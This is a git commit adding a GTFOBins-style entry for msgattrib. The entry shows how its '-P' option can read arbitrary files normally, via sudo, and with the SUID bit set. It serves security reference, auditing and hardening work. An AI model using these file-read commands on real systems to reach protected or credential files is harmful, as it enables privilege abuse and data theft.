Add msgattrib file-read

This commit is contained in:
Michalis Papadopoullos 2021-05-25 10:00:36 +03:00 committed by GitHub
parent a18f48d0f6
commit b04b2af68b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/msgattrib.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
msgattrib -P $LFILE
sudo:
- code: |
LFILE=file_to_read
sudo msgattrib -P $LFILE
suid:
- code: |
LFILE=file_to_read
./msgattrib -P $LFILE
---